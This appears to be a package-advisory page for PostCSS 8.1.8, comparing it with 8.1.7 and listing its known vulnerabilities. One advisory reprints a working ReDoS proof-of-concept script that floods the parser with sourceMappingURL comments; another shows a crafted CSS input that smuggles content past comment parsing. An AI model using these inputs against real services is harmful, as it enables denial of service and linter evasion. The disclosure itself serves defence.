PostCSS version 8.1.8 is a minor release in the popular PostCSS ecosystem, a powerful tool utilized for transforming styles with JavaScript plugins. Building upon the foundation of version 8.1.7, this update introduces subtle enhancements and refinements aimed at improving the developer experience. The core functionality remains consistent; both versions rely on the same core dependencies, including nanoid for unique ID generation, colorette for colorful console output, source-map for debugging, and line-column for precise error reporting. The license remains MIT, ensuring broad compatibility and usage flexibility. The author remains the same, Andrey Sitnik with funding through Open Collective.
Examining the dist section reveals slight changes: Version 8.1.8 has an unpacked size of 198156 bytes, marginally larger than version 8.1.7's 197769 bytes indicating slight additions or changes to the codebase. Both versions consist of 48 files. Crucially, version 8.1.8 was released on November 19, 2020, nine days after version 8.1.7 (November 10, 2020). Developers considering upgrading should evaluate if the changes address specific bugs or provide minor improvements relevant to their projects. While the core functionality doesn't appear significantly altered, such incremental releases are typically crucial for stability and refinements, warranting consideration for incorporation into projects.
All the vulnerabilities related to the version 8.1.8 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.